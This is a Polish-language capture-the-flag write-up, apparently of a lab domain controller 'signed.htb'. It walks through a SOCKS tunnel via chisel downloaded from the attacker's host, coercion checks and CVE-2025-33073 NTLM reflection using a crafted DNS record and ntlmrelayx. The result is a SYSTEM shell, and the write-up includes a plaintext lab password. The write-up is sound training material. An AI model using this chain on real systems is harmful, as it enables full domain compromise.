Folder PATH listing
Volume serial number is BED4-436E
C:\USERS\MSSQLSVC
????Desktop
? user.txt
?
????Documents
????Downloads
????Favorites
????Links
????Music
????Pictures
????Saved Games
????VideosTunel socks proxy
W takim wypadku możemy skupić się na innych usługach, które nie są widoczne z zewnątrz, a do których mamy dostęp dzięki shellowi. Otwartych portów jest sporo, większość typowa dla kontrolera domeny:
PS C:\> netstat -anot | findstr 'TCP' | findstr 'LISTENING'
TCP 0.0.0.0:88 0.0.0.0:0 LISTENING 644 InHost
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 912 InHost
TCP 0.0.0.0:389 0.0.0.0:0 LISTENING 644 InHost
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 InHost
TCP 0.0.0.0:464 0.0.0.0:0 LISTENING 644 InHost
TCP 0.0.0.0:593 0.0.0.0:0 LISTENING 912 InHost
TCP 0.0.0.0:636 0.0.0.0:0 LISTENING 644 InHost
TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING 2704 InHost
TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING 644 InHost
TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING 644 InHost
TCP 0.0.0.0:5986 0.0.0.0:0 LISTENING 4 InHost
TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING 2476 InHost
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4 InHost
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 480 InHost
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 1192 InHost
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1692 InHost
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 644 InHost
TCP 0.0.0.0:49673 0.0.0.0:0 LISTENING 644 InHost
TCP 0.0.0.0:49674 0.0.0.0:0 LISTENING 644 InHost
TCP 0.0.0.0:49675 0.0.0.0:0 LISTENING 3012 InHost
TCP 0.0.0.0:49678 0.0.0.0:0 LISTENING 624 InHost
TCP 0.0.0.0:49682 0.0.0.0:0 LISTENING 644 InHost
TCP 0.0.0.0:51314 0.0.0.0:0 LISTENING 2192 InHost
TCP 0.0.0.0:63051 0.0.0.0:0 LISTENING 2420 InHost
TCP 10.129.4.92:53 0.0.0.0:0 LISTENING 2192 InHost
TCP 10.129.4.92:139 0.0.0.0:0 LISTENING 4 InHost
TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 2192 InHost
TCP 127.0.0.1:1434 0.0.0.0:0 LISTENING 2704 InHostDalej wykorzystamy narzędzie chisel, by ztunnelować ruch poprzez socks proxy do sieci wewnętrznej. Dzięki temu będziemy mogli używać narzędzi bezpośrednio na naszym hoście i rozmawiać z usługami działającymi na serwerze signed.htb, mimo obecności firewalla.
rvr@rvr$ ./chisel server -p 8888 --reverse
2026/02/19 17:31:59 server: Reverse tunnelling enabled
2026/02/19 17:31:59 server: Fingerprint ZqpfagwyxM7pC1MBesm78uwCmhUzt2pjS/K0XrpP1KE=
2026/02/19 17:31:59 server: Listening on http://0.0.0.0:8888PS C:\ProgramData> curl http://10.10.15.26:8000/chisel.exe -o chisel.exe
PS C:\ProgramData> .\chisel.exe client 10.10.15.26:8888 R:socksTeraz dzięki proxychains możemy przepuścić ruch przez nasze socks proxy i użyć nmapa do sprawdzenia dostępności portów po tak stunelowanym ruchu. Do testów wystarczą jedynie dwa porty (jeden otwarty, drugi zamknięty, np. 5986 i 5985):
rvr@rvr$ sudo proxychains4 -f /etc/proxychains4.conf -q nmap -Pn -p 5985,5986 -sT -vv 127.0.0.1
[sudo] password for rvr:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-19 17:38 CET
Initiating Connect Scan at 17:38
Scanning localhost (127.0.0.1) [2 ports]
Discovered open port 5986/tcp on 127.0.0.1
Completed Connect Scan at 17:38, 0.38s elapsed (2 total ports)
Nmap scan report for localhost (127.0.0.1)
Host is up, received user-set (0.19s latency).
Scanned at 2026-02-19 17:38:46 CET for 0s
PORT STATE SERVICE REASON
5985/tcp closed wsman conn-refused
5986/tcp open wsmans syn-ack
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.57 secondsOdpowiedź jest tożsama z tym co widzimy w netstat. Możemy być więc pewni, że ruch jest poprawnie tunelowany.
CVE-2025-33073 - NTLM reflection
W ostatnim czasie odkryta została poważna podatność w systemie Windows - CVE‑2025‑33073. Następujący blogpost bardzo dobrze opisuje, czego ona dotyczy. Za SynActiv:
NTLM reflection is a special case of NTLM authentication relay in which the original authentication is relayed back to the machine from which the authentication originated.
W skrócie, wykorzystujemy fakt istnienia lokalnego uwierzytelnienia NTLM, które może być wymuszone przez dodanie konkretnego rekordu DNS na serwerze AD (o tym jaki to dokładnie musi być rekord, opowiem za chwilę). Najważniejszą informacją jest to, że traktowany jest on jako adres localhost, mimo że adres IP, pod który kieruje już wcale nie musi być adresem z zakresu loopback. Może kierować w zupełnie inne miejsce, np. na adres wskazany przez atakującego.
A dlaczego ważne jest, aby było to lokalne uwierzytelnienie NTLM? Otóż wtedy dla serwera AD zarówno klient, jak i serwer biorące udział w procesie uwierzytelnienia, działają na jednej maszynie. Wszystko więc ma miejsce w jednym procesie lsass, który posiada bardzo wysokie uprawnienia (NT AUTHORITY/SYSTEM).
Ważne jest tu również istnienie techniki ataku zwana coercją (coerce), która pozwala wymusić uwierzytelnienie do dowolnego hosta. W trakcie takiej coercji możemy wskazać nowo stworzony rekord dns jako cel uwierzytelnienia, dzięki czemu wymusimy wspomniane wyżej lokalne uwierzytelnienia NTLM.
Jak wreszcie powinien wyglądać ten magiczny rekord DNS? O tak: localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA. Jako pierwszy wspomniał o nim James Forshaw z Google Project Zero. Po dokładniejsze wyjaśnienie jego struktury odsyłam do oryginalnego artykułu autora oraz do materiałów firmy SynActiv. W dużym skrócie: gdy klient (np. SMB) zobaczy taki rekord DNS, mimo dokonania unmarshallingu danych w nim zawartych (czyli tego enigmatycznego ciągu: 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA), całkowicie je zignoruje i zostawi tylko część przed SPN (tj. samo localhost). Dalej klient poprosi o poświadczenia dla localhost (wykona więc lokalne uwierzytelnienie NTLM) i połączy się z adresem, pod który ten rekord kieruje, czyli z kontrolowanym przez atakującego adresem IP.
Do pełni sukcesu brakuje nam już tylko właściwego relayingu (odelegowania) odebranych poświadczeń SMB do innej usługi np. winrm. Do tego celu użyjemy ntlmrelayx, z repozyterium impacket.
Przejdźmy wreszcie do terminala. Zacznijmy od sprawdzenia możliwości ataku coerce:
rvr@rvr$ sudo proxychains4 -f /etc/proxychains4.conf /home/rvr/.local/bin/nxc smb 127.0.0.1 -u mssqlsvc -p 'purPLE9795!@' -M coerce_plus
[sudo] password for rvr:
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
SMB 127.0.0.1 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:SIGNED.HTB) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 127.0.0.1 445 DC01 [+] SIGNED.HTB\mssqlsvc:purPLE9795!@
COERCE_PLUS 127.0.0.1 445 DC01 VULNERABLE, DFSCoerce
COERCE_PLUS 127.0.0.1 445 DC01 VULNERABLE, PetitPotam
COERCE_PLUS 127.0.0.1 445 DC01 VULNERABLE, PrinterBug
COERCE_PLUS 127.0.0.1 445 DC01 VULNERABLE, MSEvenJest dobrze. Widzimy kilka możliwości DFSCoerce, PetipPotam, PrinterBug i MSEven.
I sprawdźmy możliwość NTLM reflection:
rvr@rvr$ sudo proxychains4 -f /etc/proxychains4.conf -q /home/rvr/.local/bin/nxc smb 127.0.0.1 -u mssqlsvc -p 'purPLE9795!@' -M ntlm_reflection
[sudo] password for rvr:
SMB 127.0.0.1 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:SIGNED.HTB) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 127.0.0.1 445 DC01 [+] SIGNED.HTB\mssqlsvc:purPLE9795!@
NTLM_REF... 127.0.0.1 445 DC01 VULNERABLE (can relay SMB to other protocols except SMB on 127.0.0.1)VULNERABLE (can relay SMB to other protocols except SMB on 127.0.0.1) to też dobrze wróży.
Dodajmy regułę dns, aby móc zastosować potem relaying. Do tego celu wykorzystamy dnstool.py z repozytorium krbrelayx od Dirk-jan Mollema. Wskazujemy adres 127.0.0.1 jako dns ip, dzięki tunelowi socks proxy. Musimy wykorzystać również przełącznik --tcp, gdyż po tym protokole działa nasz tunel. Dodajemy również nasze ip jako adres, pod który kierować będzie rekord: localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA:
rvr@rvr$ sudo proxychains4 -f /etc/proxychains4.conf -q python3 /opt/krbrelayx/dirkjanm/dnstool.py -u 'signed.htb\mssqlsvc' -p 'purPLE9795!@' 127.0.0.1 -a 'add' -r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' -d 10.10.15.26 -dns-ip 127.0.0.1 --tcp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfullyMożemy narzędziem dig sprawdzić istnienie dodanego rekordu:
rvr@rvr$ sudo proxychains4 -f /etc/proxychains4.conf -q dig localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.signed.htb @dc01.signed.htb +tcp
; <<>> DiG 9.18.33-1~deb12u2-Debian <<>> localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.signed.htb @dc01.signed.htb +tcp
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56442
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.signed.htb. IN A
;; ANSWER SECTION:
localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.signed.htb. 180 IN A 10.10.15.26
;; Query time: 56 msec
;; SERVER: 224.0.0.1#53(dc01.signed.htb) (TCP)
;; WHEN: Fri Feb 20 23:39:31 CET 2026
;; MSG SIZE rcvd: 109Wreszcie, ustawiamy ntlmrelayx w drugiej konsoli - musi on kierować na port WINRM (5986, gdyż to ten port winrm jest otwarty na serwerze signed.htb):
rvr@rvr$ sudo proxychains4 -f /etc/proxychains4.conf -q ~/.local/pipx/venvs/impacket/bin/ntlmrelayx.py -t "winrms://127.0.0.1" -smb2support
Impacket v0.14.0.dev0+20251120.95652.9c2d8b61 - Copyright Fortra, LLC and its affiliated companies
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client WINRMS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Multirelay disabled
[*] Servers started, waiting for connectionsMozemy teraz uruchomić coerce_plus z jedną ze znalezionych metod exploitacji, np. DFSCoerce:
rvr@rvr$ sudo proxychains4 -f /etc/proxychains4.conf /home/rvr/.local/bin/nxc smb 127.0.0.1 -u mssqlsvc -p 'purPLE9795!@' -M coerce_plus -o LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA METHOD=DFSCoerce
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
SMB 127.0.0.1 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:SIGNED.HTB) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 127.0.0.1 445 DC01 [+] SIGNED.HTB\mssqlsvc:purPLE9795!@
COERCE_PLUS 127.0.0.1 445 DC01 VULNERABLE, DFSCoerce
COERCE_PLUS 127.0.0.1 445 DC01 Exploit Success, netdfs\NetrDfsRemoveRootTarget
COERCE_PLUS 127.0.0.1 445 DC01 Exploit Success, netdfs\NetrDfsAddStdRoot
COERCE_PLUS 127.0.0.1 445 DC01 Exploit Success, netdfs\NetrDfsRemoveStdRootPo chwili w terminalu z ntlmrelayx zobaczymy komunikację:
[*] Servers started, waiting for connections
[*] (SMB): Received connection from 10.129.4.92, attacking target winrms://127.0.0.1
[!] The client requested signing, relaying to WinRMS might not work!
[*] HTTP server returned error code 500, this is expected, treating as a successful login
[*] (SMB): Authenticating connection from /@10.129.4.92 against winrms://127.0.0.1 SUCCEED [1]
[*] winrms:///@127.0.0.1 [1] -> Started interactive WinRMS shell via TCP on 127.0.0.1:11000
[*] All targets processed!
[*] (SMB): Connection from 10.129.4.92 controlled, but there are no more targets left!
[*] All targets processed!
[*] (SMB): Connection from 10.129.4.92 controlled, but there are no more targets left!
[*] All targets processed!
[*] (SMB): Connection from 10.129.4.92 controlled, but there are no more targets left!
[*] All targets processed!
[*] (SMB): Connection from 10.129.4.92 controlled, but there are no more targets left!
[*] All targets processed!
[*] (SMB): Connection from 10.129.4.92 controlled, but there are no more targets left!Możemy teraz połączyć się do utworzonego shella poprzez nc 127.0.0.1 11000, by cieszyć się uprawnieniami nt authority\system i móc odczytać flagę znajdującą się w root.txt:
rvr@rvr$ nc 127.0.0.1 11000
Type help for list of commands
# whoami
nt authority\system
# DIR C:\Users\Administrator\Desktop
Volume in drive C has no label.
Volume Serial Number is BED4-436E
Directory of C:\Users\Administrator\Desktop
10/06/2025 04:04 AM <DIR> .
10/06/2025 04:04 AM <DIR> ..
02/20/2026 05:25 AM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 6,309,539,840 bytes free
# TYPE C:\Users\Administrator\Desktop\root.txt
49756c**************************